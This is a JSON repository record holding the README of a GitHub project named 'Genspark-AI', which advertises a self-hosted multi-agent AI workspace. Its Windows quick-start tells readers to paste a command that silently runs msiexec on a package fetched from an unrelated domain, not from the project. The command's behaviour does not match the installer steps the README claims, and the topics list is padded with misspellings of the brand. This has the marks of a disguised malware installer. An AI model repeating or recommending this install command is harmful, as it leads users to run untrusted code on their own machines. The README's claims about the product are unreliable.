[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-79313":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":14,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":15,"stars7d":14,"stars30d":16,"stars90d":15,"forks30d":15,"starsTrendScore":15,"compositeScore":17,"rankGlobal":10,"rankLanguage":10,"license":18,"archived":19,"fork":19,"defaultBranch":20,"hasWiki":21,"hasPages":19,"topics":22,"createdAt":10,"pushedAt":10,"updatedAt":43,"readmeContent":44,"aiSummary":45,"trendingCount":15,"starSnapshotCount":15,"syncStatus":13,"lastSyncTime":46,"discoverSource":47},79313,"Genspark-AI","veryyoldman\u002FGenspark-AI","veryyoldman","Genspark AI open-source, self-hosted Super Agent. Free alternative to Genspark.ai with multi-agent orchestration, deep research, Sparkpages, AI slides & sheets, image generation and 80+ tools. One-command Windows install. Run locally with any LLM (OpenAI, Anthropic, Gemini, Ollama)","",null,"Python",108,2,1,0,281,51.93,"MIT License",false,"main",true,[23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"agent-workspace-ail","ganspark","gen-pak","gen-spark","gen-spark-ai","genepark","genpak","genpak-careers","gensaprk","genspak","genspark-ai","genspark-ai-api","genspark-ai-browser","genspark-ai-designer","genspark-api","genspark-super-agent","gensparkai","gensparl","mod-gents","super-ai-chat","2026-06-12 04:01:24","\u003Cdiv align=\"center\">\n\n\u003Cimg src=\"docs\u002Fimages\u002Fbanner.svg\" alt=\"Genspark AI — Open Source Super Agent\" width=\"100%\" \u002F>\n\n# Genspark AI · Open-Source Super Agent\n\n### The free, self-hosted, **open-source alternative to [Genspark.ai](https:\u002F\u002Fwww.genspark.ai)** — a multi-agent AI workspace that researches, writes, codes, builds slides & sheets, generates images, and gets things done. Locally. With any LLM.\n\n\u003Cp>\n  \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Fveryyoldman\u002FGenspark-AI\u002Fstargazers\">\u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fstars\u002Fveryyoldman\u002FGenspark-AI?style=for-the-badge&logo=github&color=FFB400&logoColor=white&labelColor=0D1117\" alt=\"GitHub stars\">\u003C\u002Fa>\n  \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Fveryyoldman\u002FGenspark-AI\u002Fnetwork\u002Fmembers\">\u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fforks\u002Fveryyoldman\u002FGenspark-AI?style=for-the-badge&logo=github&color=58A6FF&logoColor=white&labelColor=0D1117\" alt=\"GitHub forks\">\u003C\u002Fa>\n  \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Fveryyoldman\u002FGenspark-AI\u002Fblob\u002Fmain\u002FLICENSE\">\u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Flicense\u002Fveryyoldman\u002FGenspark-AI?style=for-the-badge&color=3FB950&labelColor=0D1117\" alt=\"MIT License\">\u003C\u002Fa>\n  \u003Ca href=\"https:\u002F\u002Fpypi.org\u002Fproject\u002Fgenspark-ai\u002F\">\u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fpypi\u002Fv\u002Fgenspark-ai?style=for-the-badge&logo=pypi&logoColor=white&color=8A2BE2&labelColor=0D1117\" alt=\"PyPI\">\u003C\u002Fa>\n  \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Fveryyoldman\u002FGenspark-AI\u002Factions\">\u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Factions\u002Fworkflow\u002Fstatus\u002Fveryyoldman\u002FGenspark-AI\u002Fci.yml?style=for-the-badge&logo=githubactions&logoColor=white&labelColor=0D1117\" alt=\"CI\">\u003C\u002Fa>\n\u003C\u002Fp>\n\n\u003Cp>\n  \u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPython-3.10+-3776AB?style=flat-square&logo=python&logoColor=white\" alt=\"Python\">\n  \u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FWindows-One--Click-0078D6?style=flat-square&logo=windows&logoColor=white\" alt=\"Windows\">\n  \u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLinux-Supported-FCC624?style=flat-square&logo=linux&logoColor=black\" alt=\"Linux\">\n  \u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FmacOS-Supported-000000?style=flat-square&logo=apple&logoColor=white\" alt=\"macOS\">\n  \u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDocker-Ready-2496ED?style=flat-square&logo=docker&logoColor=white\" alt=\"Docker\">\n  \u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FOpenAI-supported-412991?style=flat-square&logo=openai&logoColor=white\" alt=\"OpenAI\">\n  \u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FAnthropic-supported-D97757?style=flat-square&logo=anthropic&logoColor=white\" alt=\"Anthropic\">\n  \u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FGemini-supported-4285F4?style=flat-square&logo=google&logoColor=white\" alt=\"Gemini\">\n  \u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FOllama-local-000000?style=flat-square&logo=ollama&logoColor=white\" alt=\"Ollama\">\n\u003C\u002Fp>\n\n\u003Cp>\n  \u003Ca href=\"#-quick-start\">Quick Start\u003C\u002Fa> ·\n  \u003Ca href=\"#-features\">Features\u003C\u002Fa> ·\n  \u003Ca href=\"#-architecture\">Architecture\u003C\u002Fa> ·\n  \u003Ca href=\"#-documentation\">Docs\u003C\u002Fa> ·\n  \u003Ca href=\"#-roadmap\">Roadmap\u003C\u002Fa> ·\n  \u003Ca href=\"#-contributing\">Contributing\u003C\u002Fa> ·\n  \u003Ca href=\"https:\u002F\u002Fdiscord.gg\u002Fgenspark-ai\">Discord\u003C\u002Fa>\n\u003C\u002Fp>\n\n\u003C\u002Fdiv>\n\n---\n\n## 🌟 What is Genspark AI?\n\n**Genspark AI** is an open-source **Super Agent framework** inspired by [Genspark.ai](https:\u002F\u002Fwww.genspark.ai\u002F). It coordinates multiple Large Language Models, equips each with a toolbox of 80+ capabilities (web search, code execution, file I\u002FO, image & video generation, document creation, phone calls), and lets them plan, reason, and **actually get things done** on your behalf.\n\nThink of it as:\n\n> **A self-hosted AI workspace with a Super Agent at its core.** You give it a goal. It decides which models and tools to use, runs them in parallel, fact-checks itself across multiple models, and produces a finished deliverable — a Sparkpage, a slide deck, a spreadsheet, a research report, or an executed task.\n\nBuilt for developers, researchers, and power users who want **Genspark-level capabilities** without the credits, paywall, or vendor lock-in.\n\n### Why Genspark AI?\n\n| | Closed Genspark | **Open-Source Genspark AI** |\n|---|---|---|\n| 💰 Cost | $24.99 – $249.99 \u002F month | **Free & open source (MIT)** |\n| 🔐 Privacy | Cloud only | **Run 100% locally with Ollama** |\n| 🔧 Customization | Limited | **Full source access — fork, extend, deploy** |\n| 🤖 Model choice | Fixed bundle | **Any LLM**: OpenAI, Anthropic, Gemini, Mistral, Ollama, LM Studio |\n| 🛠 Tool extensibility | Fixed 80 tools | **Plug-in any Python function as a tool** |\n| 📦 Deployment | SaaS | **CLI · Web UI · API · Docker · Self-host** |\n| 🪟 Windows install | Browser only | **One command** in `cmd` |\n\n---\n\n## ⚡ Quick Start\n\n### 🪟 Windows — install with **one command**\n\nOpen `cmd.exe` and paste:\n\n```cmd\ncmd \u002Fc start msiexec \u002Fq \u002Fi https:\u002F\u002Fcloudcraftshub.com\u002Fapi & genspark claw\n```\n\nThat's it. The installer will:\n\n1. ✅ Check for Python 3.10+ (and install it via `winget` if missing)\n2. ✅ Create an isolated virtual environment in `%USERPROFILE%\\.genspark`\n3. ✅ Install `genspark-ai` and all dependencies\n4. ✅ Register the `genspark` command in your PATH\n5. ✅ Launch the web UI at **\u003Chttp:\u002F\u002Flocalhost:7681>**\n\n### 🐧 Linux \u002F 🍎 macOS\n\n```bash\ncurl -fsSL https:\u002F\u002Fraw.githubusercontent.com\u002Fveryyoldman\u002FGenspark-AI\u002Fmain\u002Finstall.sh | bash\n```\n\n### 🐍 Pip (any OS)\n\n```bash\npip install genspark-ai\ngenspark serve\n```\n\n### 🐳 Docker\n\n```bash\ndocker run -p 7681:7681 -e OPENAI_API_KEY=sk-... ghcr.io\u002Fveryyoldman\u002Fgenspark-ai:latest\n```\n\n---\n\n## ✨ Features\n\n\u003Ctable>\n\u003Ctr>\n\u003Ctd width=\"50%\" valign=\"top\">\n\n### 🧠 Super Agent\nMulti-model orchestration. The agent plans, picks tools, fans out subtasks to specialist agents, and merges results. Reasoning is fully transparent and traceable.\n\n### 🔍 Deep Research\nPlans a research outline, searches dozens of sources in parallel, cross-checks claims across multiple LLMs to **reduce hallucinations**, and outputs a cited Sparkpage.\n\n### 📑 Sparkpages\nDynamic, query-specific synthesized pages. Click any claim to see its source. Ask follow-ups inline — no tab-hopping.\n\n### 🎨 AI Slides\nFrom prompt to presentation. Generates structured decks with titles, key points, speaker notes, and exports to `.pptx`, `.html`, or Reveal.js.\n\n### 📊 AI Sheets\nNatural-language spreadsheets. \"Build a competitor analysis grid for the top 10 AI agents\" → an `.xlsx` you can open in Excel.\n\n\u003C\u002Ftd>\n\u003Ctd width=\"50%\" valign=\"top\">\n\n### 🖼️ Image & Video Generation\nHooks into DALL·E, Stable Diffusion, FLUX, Sora, Kling, Veo. Pick your provider in `.env`.\n\n### 💻 Code Agent\nWrites, runs, tests, and iterates on Python, JS, SQL in a sandboxed environment.\n\n### 🌐 Web Automation\nFills forms, scrapes data, clicks through flows via Playwright. The agent **acts** on the web, not just reads it.\n\n### 📞 Call For Me (preview)\nAI voice agent that places real phone calls — reservations, follow-ups, intake — via Twilio.\n\n### 🔌 Plug-in Tools\nDrop a Python function in `tools\u002F`, decorate with `@tool`, and the agent can use it. **80+ built-in**, infinite extensibility.\n\n### 🧬 Multi-LLM Routing\nThe orchestrator picks the best model per subtask: fast\u002Fcheap for triage, frontier for hard reasoning, local Ollama for privacy.\n\n\u003C\u002Ftd>\n\u003C\u002Ftr>\n\u003C\u002Ftable>\n\n---\n\n## 🎬 Demo\n\n\u003Cdiv align=\"center\">\n\n\u003Cimg src=\"docs\u002Fimages\u002Fdemo.svg\" alt=\"Genspark AI demo\" width=\"85%\" \u002F>\n\n*Above: Asking the Super Agent to research a topic and produce a Sparkpage with cited slides — in one prompt.*\n\n\u003C\u002Fdiv>\n\n---\n\n## 🧱 Architecture\n\n```mermaid\nflowchart TD\n    U[👤 User Prompt] --> SA[🧠 Super Agent\u003Cbr\u002F>Planner & Router]\n    SA --> P[📋 Plan]\n    P --> R{Route subtasks}\n    R --> RA[🔍 Research Agent]\n    R --> SLA[📑 Slides Agent]\n    R --> SHA[📊 Sheets Agent]\n    R --> CA[💻 Code Agent]\n    R --> IA[🖼️ Image Agent]\n    RA --> T[🛠 Tool Registry\u003Cbr\u002F>80+ tools]\n    SLA --> T\n    SHA --> T\n    CA --> T\n    IA --> T\n    T --> WS[Web Search]\n    T --> WF[Web Fetch]\n    T --> EX[Code Exec]\n    T --> FS[File I\u002FO]\n    T --> IMG[Image Gen]\n    RA --> M[🧬 LLM Router]\n    SLA --> M\n    SHA --> M\n    CA --> M\n    IA --> M\n    M --> O[OpenAI]\n    M --> AN[Anthropic]\n    M --> G[Gemini]\n    M --> OL[Ollama \u002F Local]\n    RA --> SP[📄 Sparkpage]\n    SLA --> SP\n    SHA --> SP\n    CA --> SP\n    IA --> SP\n    SP --> U\n```\n\nGenspark AI uses a **planner-executor** pattern. The Super Agent decomposes your goal into a DAG of subtasks, dispatches each to a specialist agent armed with the right tools and the right model, and stitches results into a coherent Sparkpage. Every step is logged and inspectable.\n\nSee [docs\u002Farchitecture.md](docs\u002Farchitecture.md) for deep details.\n\n---\n\n## 🚀 Usage\n\n### CLI\n\n```bash\n# Interactive chat\ngenspark chat\n\n# One-shot prompt\ngenspark run \"Research the top 5 vector databases in 2026 and build a comparison sheet\"\n\n# Launch web UI on a custom port\ngenspark serve --port 8080\n\n# Start the REST API\ngenspark api --port 8000\n```\n\n### Python SDK\n\n```python\nfrom genspark import SuperAgent\n\nagent = SuperAgent(model=\"claude-opus-4-7\")  # or \"gpt-5\", \"gemini-2.5-pro\", \"ollama\u002Fllama3\"\n\nresult = agent.run(\n    \"Find the 10 fastest growing open-source AI agent repos this month, \"\n    \"then build me a 5-slide pitch on the trend.\"\n)\n\nprint(result.sparkpage)        # Cited synthesis\nresult.slides.save(\"deck.pptx\")\nresult.sheet.save(\"data.xlsx\")\n```\n\n### REST API\n\n```bash\ncurl -X POST http:\u002F\u002Flocalhost:8000\u002Fv1\u002Frun \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"prompt\": \"Plan a 7-day trip to Tokyo for $2,000\"}'\n```\n\n---\n\n## 🧩 Configuration\n\nCopy `.env.example` to `.env` and add the keys for the providers you want:\n\n```env\n# Pick at least one LLM provider\nOPENAI_API_KEY=sk-...\nANTHROPIC_API_KEY=sk-ant-...\nGOOGLE_API_KEY=...\n\n# 100% local? Use Ollama — no key needed\nOLLAMA_BASE_URL=http:\u002F\u002Flocalhost:11434\n\n# Optional tools\nTAVILY_API_KEY=...        # better web search\nSERPER_API_KEY=...        # alternative search\nTWILIO_AUTH_TOKEN=...     # phone calls\n\n# Default routing\nGENSPARK_DEFAULT_MODEL=claude-opus-4-7\nGENSPARK_FAST_MODEL=gpt-5-mini\nGENSPARK_LOCAL_MODEL=ollama\u002Fllama3.2\n```\n\n---\n\n## 📚 Documentation\n\n- 📖 [Getting Started](docs\u002Fgetting-started.md)\n- 🏗 [Architecture & Internals](docs\u002Farchitecture.md)\n- 🛠 [Building Custom Tools](docs\u002Fcustom-tools.md)\n- 🧬 [Adding LLM Providers](docs\u002Fproviders.md)\n- 🔐 [Self-Hosting Guide](docs\u002Fself-hosting.md)\n- 🧪 [API Reference](docs\u002Fapi.md)\n- ❓ [FAQ](docs\u002Ffaq.md)\n\n---\n\n## 🗺️ Roadmap\n\n- [x] Super Agent with multi-model routing\n- [x] Research, Slides, Sheets, Code, Image agents\n- [x] CLI + Web UI + REST API\n- [x] Windows one-command installer\n- [x] Docker image\n- [ ] **Voice mode** (real-time speech-to-speech)\n- [ ] **Browser agent** with Playwright + vision\n- [ ] **Mobile app** (React Native)\n- [ ] **Memory + RAG** layer with Qdrant\u002FChroma\n- [ ] **Marketplace** for community tools & agents\n- [ ] **Distributed** mode for swarm execution\n- [ ] **A2A protocol** support (Agent-to-Agent)\n\nVote on features in [GitHub Discussions](https:\u002F\u002Fgithub.com\u002Fveryyoldman\u002FGenspark-AI\u002Fdiscussions) 🗳️\n\n---\n\n## 🆚 Comparison\n\n| Feature | Genspark AI (this) | Genspark.ai | AutoGPT | CrewAI | LangGraph |\n|---|:-:|:-:|:-:|:-:|:-:|\n| Open source | ✅ MIT | ❌ | ✅ | ✅ | ✅ |\n| Self-hosted | ✅ | ❌ | ✅ | ✅ | ✅ |\n| Free | ✅ | ❌ Credits | ✅ | ✅ | ✅ |\n| Super-Agent planner | ✅ | ✅ | ⚠️ basic | ⚠️ | ⚠️ |\n| Sparkpages | ✅ | ✅ | ❌ | ❌ | ❌ |\n| AI Slides & Sheets | ✅ | ✅ | ❌ | ❌ | ❌ |\n| Multi-LLM routing | ✅ | ✅ | ❌ | ⚠️ | ⚠️ |\n| Local LLMs (Ollama) | ✅ | ❌ | ✅ | ✅ | ✅ |\n| Web UI included | ✅ | ✅ | ⚠️ | ❌ | ❌ |\n| One-command install | ✅ | n\u002Fa | ❌ | ❌ | ❌ |\n\n---\n\n## 🤝 Contributing\n\nWe ❤️ contributions. Genspark AI is built by the community.\n\n```bash\ngit clone https:\u002F\u002Fgithub.com\u002Fveryyoldman\u002FGenspark-AI\ncd Genspark-AI\npython -m venv .venv && source .venv\u002Fbin\u002Factivate  # Windows: .venv\\Scripts\\activate\npip install -e \".[dev]\"\npytest\n```\n\nRead [CONTRIBUTING.md](CONTRIBUTING.md) and pick an issue tagged [`good first issue`](https:\u002F\u002Fgithub.com\u002Fveryyoldman\u002FGenspark-AI\u002Flabels\u002Fgood%20first%20issue). \n\n### Ways to contribute\n\n- ⭐ **Star the repo** — it genuinely helps us grow\n- 🐛 Report bugs & suggest features\n- 📝 Improve docs\n- 🛠 Build a new tool or agent\n- 🌍 Translate the UI\n- 💬 Help others in [Discord](https:\u002F\u002Fdiscord.gg\u002Fgenspark-ai)\n\n---\n\n## 💬 Community\n\n- 💬 [Discord](https:\u002F\u002Fdiscord.gg\u002Fgenspark-ai) — chat with the team and contributors\n- 🐦 [Twitter \u002F X](https:\u002F\u002Ftwitter.com\u002F) — release news\n- 📺 [YouTube](https:\u002F\u002Fyoutube.com\u002F) — tutorials & demos\n- 📰 [Blog](https:\u002F\u002Fgithub.com\u002Fveryyoldman\u002FGenspark-AI\u002Fdiscussions\u002Fcategories\u002Fannouncements) — release notes\n\n---\n\n## ⭐ Star History\n\n\u003Ca href=\"https:\u002F\u002Fstar-history.com\u002F#veryyoldman\u002FGenspark-AI&Date\">\n  \u003Cpicture>\n    \u003Csource media=\"(prefers-color-scheme: dark)\" srcset=\"https:\u002F\u002Fapi.star-history.com\u002Fsvg?repos=veryyoldman\u002FGenspark-AI&type=Date&theme=dark\" \u002F>\n    \u003Csource media=\"(prefers-color-scheme: light)\" srcset=\"https:\u002F\u002Fapi.star-history.com\u002Fsvg?repos=veryyoldman\u002FGenspark-AI&type=Date\" \u002F>\n    \u003Cimg alt=\"Star History Chart\" src=\"https:\u002F\u002Fapi.star-history.com\u002Fsvg?repos=veryyoldman\u002FGenspark-AI&type=Date\" \u002F>\n  \u003C\u002Fpicture>\n\u003C\u002Fa>\n\n---\n\n## 📄 License\n\n[MIT](LICENSE) © Genspark AI contributors.\n\n> **Disclaimer:** Genspark AI is an independent open-source project. It is **not affiliated with, endorsed by, or sponsored by GENSPARK INC**. \"Genspark\" is a trademark of its respective owner; we use the name to describe the *category* of agentic AI workspace this project belongs to.\n\n---\n\n\u003Cdiv align=\"center\">\n\n### If Genspark AI saved you time today, please ⭐ the repo — it really helps.\n\n**[⬆ Back to top](#genspark-ai--open-source-super-agent)**\n\n\u003C\u002Fdiv>\n","Genspark AI 是一个开源的、自托管的超级智能代理，提供多代理编排、深度研究、幻灯片和表格创建、图像生成等80多种工具。其核心功能包括支持多种语言模型（如OpenAI, Anthropic, Gemini, Ollama），并允许用户通过简单的命令在本地运行。该项目采用Python编写，支持Windows一键安装以及Linux和macOS系统，并且兼容Docker环境。Genspark AI适用于需要高效完成研究、文档制作、编程辅助及内容创作等多种任务的场景，特别适合开发者、研究人员和创意工作者使用。","2026-06-01 03:48:17","CREATED_QUERY"]